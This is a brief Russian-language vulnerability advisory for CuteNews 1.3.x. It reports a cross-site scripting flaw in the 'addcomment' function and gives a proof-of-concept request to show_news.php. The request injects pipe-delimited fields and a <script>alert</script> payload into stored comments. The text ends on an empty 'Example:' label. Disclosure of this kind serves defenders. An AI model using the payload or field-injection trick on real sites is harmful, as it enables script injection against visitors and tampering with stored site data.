Программа: CuteNews 1.3.х
Уязвимость в Cutnews в функции 'addcomment' позволяет удаленному пользователю выполнить XSS нападение.
show_news.php?subaction=addcomment&name= DarkBich0&comments=http://www.darkbicho
.tk &id=1078525267| >|1090074219|DarkBich0|none|127.0.0.1| <script>alert("DarkBicho");</script>||
Пример:
